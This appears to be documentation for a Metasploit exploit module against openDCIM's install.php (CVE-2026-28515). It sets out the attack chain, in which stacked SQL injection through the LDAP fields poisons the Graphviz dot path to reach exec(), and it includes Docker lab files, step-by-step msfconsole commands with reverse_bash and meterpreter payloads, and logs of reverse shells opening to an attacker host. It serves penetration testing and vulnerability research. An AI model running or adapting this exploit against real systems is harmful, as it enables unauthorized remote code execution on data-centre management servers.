## Vulnerable Application

This module exploits a SQL injection vulnerability in openDCIM's `install.php` endpoint
(CVE-2026-28515) to achieve remote code execution.

After installation, `install.php` remains accessible and processes LDAP configuration
parameters via `UpdateParameter()` without authentication or input sanitization. The
attacker injects stacked SQL queries through the LDAP form to overwrite the Graphviz
`dot` binary path in `fac_Config`, then triggers `report_network_map.php` which calls
`exec()` with the poisoned value.

### Affected Versions

openDCIM version 23.04 (last public release), through commit 4467e9c4, is affected. Tested up to 25.01.

### Attack Chain

1. POST to `install.php` with stacked SQL via LDAP parameters (CWE-862 + CWE-89)
2. Backup original config, overwrite `dot` parameter with command payload
3. GET `report_network_map.php` which calls `exec()` with the poisoned `dot` value (CWE-78)
4. Restore original configuration from backup table

## Lab Setup

### Docker (Recommended)

The official openDCIM Docker image (`opendcim/opendcim`) ships with no authentication
configured. openDCIM delegates auth entirely to Apache via `$_SERVER['REMOTE_USER']` -
without it, every page errors out. Real-world Docker deployments work around this by adding
`SetEnv REMOTE_USER dcim` to the Apache vhost, which sets `REMOTE_USER` for every request
without any actual credential check. This makes the entire application unauthenticated.

The lab reproduces this scenario. Create the following files:

**docker-compose.yml:**

```yaml
services:
  web:
    build: .
    container_name: opendcim-lab
    ports:
      - "18091:80"
    environment:
      OPENDCIM_DB_HOST: db
    depends_on:
      db:
        condition: service_healthy

  db:
    image: mariadb:10.7
    container_name: opendcim-db
    environment:
      MARIADB_ROOT_PASSWORD: rootpass
      MARIADB_DATABASE: dcim
      MARIADB_USER: dcim
      MARIADB_PASSWORD: dcim
    volumes:
      - db_data:/var/lib/mysql
    healthcheck:
      test: ["CMD", "mariadb", "-udcim", "-pdcim", "-e", "SELECT 1"]
      interval: 5s
      timeout: 5s
      retries: 20

volumes:
  db_data:
```

**Dockerfile:**

```dockerfile
FROM opendcim/opendcim:24.01-beta
COPY 000-default.conf /etc/apache2/sites-available/
```

**000-default.conf:**

```apache
<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        <Directory "/var/www/html">
           Options -Indexes
           AllowOverride All
           SetEnv REMOTE_USER dcim
        </Directory>
        AllowEncodedSlashes On
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
```

Then run:

```bash
docker compose up -d
```

This starts openDCIM on port 18091 with `SetEnv REMOTE_USER dcim`, reproducing how Docker
deployments are configured in the wild. No HTTP credentials are needed.

**Note:** If the target uses HTTP Basic Auth (htpasswd/LDAP), set `HttpUsername` and
`HttpPassword` accordingly. Any valid Apache credential is enough - `install.php` has no
role check.

**Note:** The fetch payload handler is not supported with Target 0 (Unix/Linux Command Shell)
since standard fetch tools (curl, wget, etc.) are typically not available in the target's
execution context (`exec()` via Graphviz dot path).

## Verification Steps

1. Start msfconsole
2. `use exploit/linux/http/opendcim_install_sqli_rce`
3. `set RHOSTS <target>`
4. `set RPORT <port>`
5. `set HttpUsername <user>` (if Basic Auth is configured)
6. `set HttpPassword <pass>`
7. `set LHOST <attacker_ip>`
8. `set payload cmd/unix/reverse_bash`
9. `check`
10. `exploit`
11. You should get a shell as the Apache user (typically `www-data`)

## Options

### HttpUsername (Advanced)

HTTP Basic Auth username. Leave empty for deployments using Apache `SetEnv REMOTE_USER`.

### HttpPassword (Advanced)

HTTP Basic Auth password. Leave empty for deployments using Apache `SetEnv REMOTE_USER`.

## Scenarios

### openDCIM 24.01 on Ubuntu - Command Shell (Target 0)

```
msf6 > use exploit/linux/http/opendcim_install_sqli_rce
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RPORT 18091
RPORT => 18091
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpUsername dcim
HttpUsername => dcim
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpPassword dcim
HttpPassword => dcim
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set LHOST 192.168.64.1
LHOST => 192.168.64.1
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/http/opendcim_install_sqli_rce) > check
[*] install.php is accessible, testing time-based SQL injection
[*] Test 1/3: SLEEP(5)
[*] Elapsed time: 5.1 seconds.
[*] Test 2/3: SLEEP(4)
[*] Elapsed time: 4.0 seconds.
[*] Test 3/3: SLEEP(6)
[*] Elapsed time: 6.1 seconds.
[+] 127.0.0.1:18091 - The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
msf6 exploit(linux/http/opendcim_install_sqli_rce) > exploit
[*] Started reverse TCP handler on 192.168.64.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
[*] Performing LORI attack (LDAP Override Remote Injection)
[*] Triggering exec() via report_network_map.php
[*] Restoring original configuration
[+] Configuration restored successfully.
[*] Command shell session 1 opened (192.168.64.1:4444 -> 192.168.64.3:45678) at 2026-02-28 15:00:00 +0100

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### openDCIM 24.01 on Ubuntu - Meterpreter via CmdStager (Target 1)

```
msf6 > use exploit/linux/http/opendcim_install_sqli_rce
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RPORT 18091
RPORT => 18091
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpUsername dcim
HttpUsername => dcim
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpPassword dcim
HttpPassword => dcim
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set LHOST 192.168.64.1
LHOST => 192.168.64.1
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set target 1
target => 1
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/opendcim_install_sqli_rce) > exploit
[*] Started reverse TCP handler on 192.168.64.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
[*] Executing command stager
[*] Sending stager progress: 100.00% (250/250 bytes)
[*] Restoring original configuration
[+] Configuration restored successfully.
[*] Sending stage (3045380 bytes) to 192.168.64.3
[*] Meterpreter session 1 opened (192.168.64.1:4444 -> 192.168.64.3:54321) at 2026-02-28 15:05:00 +0100

meterpreter > getuid
Server username: www-data
```

### openDCIM with SetEnv REMOTE_USER (No Basic Auth)

```
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RPORT 80
RPORT => 80
msf6 exploit(linux/http/opendcim_install_sqli_rce) > unset HttpUsername
Unsetting HttpUsername...
msf6 exploit(linux/http/opendcim_install_sqli_rce) > unset HttpPassword
Unsetting HttpPassword...
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/http/opendcim_install_sqli_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
[*] Performing LORI attack (LDAP Override Remote Injection)
[*] Triggering exec() via report_network_map.php
[*] Restoring original configuration
[+] Configuration restored successfully.
[*] Command shell session 1 opened (192.168.1.50:4444 -> 192.168.1.100:54321) at 2026-02-28 15:10:00 +0100
```
